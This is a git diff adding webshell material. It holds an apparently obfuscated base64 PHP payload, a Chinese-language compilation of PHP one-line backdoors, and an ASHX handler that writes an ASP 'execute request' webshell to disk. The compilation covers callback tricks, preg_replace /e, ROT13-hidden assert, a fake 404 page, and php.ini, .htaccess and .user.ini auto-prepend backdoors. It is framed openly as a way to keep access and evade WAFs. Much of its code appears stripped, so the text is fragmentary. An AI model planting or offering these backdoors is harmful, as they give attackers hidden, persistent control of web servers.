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"))) +?> diff --git "a/skill/\345\220\204\347\247\215PHP\344\270\200\345\217\245\350\257\235\351\232\220\350\227\217\345\220\216\351\227\250\347\232\204\350\256\250\350\256\272\346\200\273\347\273\223\344\270\216\345\210\206\346\236\220" "b/skill/\345\220\204\347\247\215PHP\344\270\200\345\217\245\350\257\235\351\232\220\350\227\217\345\220\216\351\227\250\347\232\204\350\256\250\350\256\272\346\200\273\347\273\223\344\270\216\345\210\206\346\236\220" new file mode 100644 index 0000000..7c5a0d2 --- /dev/null +++ "b/skill/\345\220\204\347\247\215PHP\344\270\200\345\217\245\350\257\235\351\232\220\350\227\217\345\220\216\351\227\250\347\232\204\350\256\250\350\256\272\346\200\273\347\273\223\344\270\216\345\210\206\346\236\220" @@ -0,0 +1,318 @@ +最近学习和搜集了不少的php一句话后门,发现真的是各种猥琐和奇葩,于是自己就做了一个简单的总结和分析,还是有点累,都一一测试过,希望和各位表哥们分享下,希望不足的地方表哥们也指出来,在这里感谢P神等大牛的参考文章又有就是要是有表哥觉得看着觉得不错,希望打赏点酒票,就算辛苦费吧 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 1, $_REQUEST['pass'] => 2); +uksort($arr, $e); + +?> + + + + + + + + + + + + +php.ini后门,修改php.ini +[PHP] 纯文本查看 复制代码 +? +1 +auto_prepend_file ="C:\phpStudy\WWW\ma.txt" +创建任意格式文件,此处为ma.txt +[PHP] 纯文本查看 复制代码 +? +1 + + +此时任意文件均包含后门,访问test.php + + +Preg_replace +preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit]) + +/e 修正符使 preg_replace() 在从subject匹配到满足pattern的时,会把replacement当作 PHP 代码执行 php5.5之后就废弃了修正符 + + + + +404变型版 + + +404 Not Found + +

                Not Found

                +

                The requested URL was not found on this server.

                + + + +ROT13编码版 + + + +?> + +回调函数版 + + '|.*|e',); +array_walk_recursive($arr, $e, ''); +#array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。 + +?> + + + + + +.htaccess相关后门 +.htaccess叫分布式配置文件,它提供了针对目录改变配置的方法 +子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令 +Order allow,deny +allow from all +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +php_value auto_prepend_file .htaccess +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +#' +#添加xss后门,实际情况替换xss平台的xss链接 + + +php_flag zend.multibyte 1 +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +php_value zend.script_encoding "UTF-7" +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +php_value auto_append_file .htaccess +[font=Consolas, Liberation Mono, Menlo, Courier, monospace] [/font] +#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4 #+ADw?php phpinfo()+Ads +这个不知为何实测不成功 + + +user.ini文件后门,类似.htaccess +以fastcgi运行的php都可以用这个方法作为后门。php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种: + + +.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。 +.user.ini文件 +[PHP] 纯文本查看 复制代码 +? +1 + $url, + CURLOPT_HEADER => FALSE, + CURLOPT_RETURNTRANSFER => TRUE, + CURLOPT_REFERER => $referer +); +//以数组的形式为一个curl设置会话参数 +curl_setopt_array($ch, $options); +//执行会话 +echo curl_exec($ch); + + + + + +?> + + + + + + + +利用PDO::FETCH_FUNC特性留后门 +fetch_argument的参数PDO::FETCH_FUNC可以回调一个函数,这个真心不太懂,还有很多利用方式,有兴趣的大家自己去看看 + + +query("SELECT '{$sql[faith]}'"); + $result = @$stmt->fetchAll(PDO::FETCH_FUNC, str_rot13('nffreg')); +} + + + + + +?> + + +ob_start后门 + +bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) + +当php执行echo,print的时候数据流经顺序:echo-> php buffer -> tcp buffer -> browser + +给ob_start参数传入一个字符串作为回调函数,回调函数在缓冲区被ob_flush()或者相似的函数影响时,或者在请求结束之际输出缓冲区内容被冲刷到浏览器时调用,而输出缓冲区的内容作为回调函数的参数, 并预期返回一个新的输出缓冲区作为结果,这个新返回的输出缓冲区内容将被送到浏览器 + + + + + + + +?> + + + +最后的一点总结:最后再次感谢P神等大牛的参考文章!怎么说的,这些一句话类型还算比较全,但是主要是通过eval,assert,preg_replace来进行代码执行,而隐蔽工作呢,我们则可以利用混淆,加密等方法,可以衍生出各个版本。还有就是waf吧,其实我们只要利用一些猥琐的回调函数来使用命令执行函数,就可以绕过一些waf,不过听表哥说最终调用compile_string函数被锁定了,好像能动态拦截,不真是真是假希望大家看了之后能够举一反三,对代码审计和维持访问也有不小的帮助,有不足的也欢迎补充,写这个还是有点累,希望满意的表哥赏点酒票,谢谢 diff --git "a/skill/\345\234\250\345\275\223\345\211\215\347\233\256\345\275\225\347\224\237\346\210\220\344\270\200\344\270\252asp\347\232\204\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.txt" "b/skill/\345\234\250\345\275\223\345\211\215\347\233\256\345\275\225\347\224\237\346\210\220\344\270\200\344\270\252asp\347\232\204\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.txt" new file mode 100644 index 0000000..1e55f78 --- /dev/null +++ "b/skill/\345\234\250\345\275\223\345\211\215\347\233\256\345\275\225\347\224\237\346\210\220\344\270\200\344\270\252asp\347\232\204\344\270\200\345\217\245\350\257\235\346\234\250\351\251\254.txt" @@ -0,0 +1,40 @@ +这里我们还可以添加一个ashx 脚本类型。用ashx来写一个asp的一句话到当前目录。 + +代码如下。 + +<%@ WebHandler Language="C#" Class="Handler" %> + +using System; +using System.Web; +using System.IO; +public class Handler : IHttpHandler { + + public void ProcessRequest (HttpContext context) { + context.Response.ContentType = "text/plain"; + + StreamWriter file1= File.CreateText(context.Server.MapPath("root.asp")); + file1.Write("<%response.clear:execute request(\"root\"):response.End%>"); + file1.Flush(); + file1.Close(); + + } + + public bool IsReusable { + get { + return false; + } + } + +} + +保存为 ashx ,现在来添加一个 ashx 上传类型看看. + 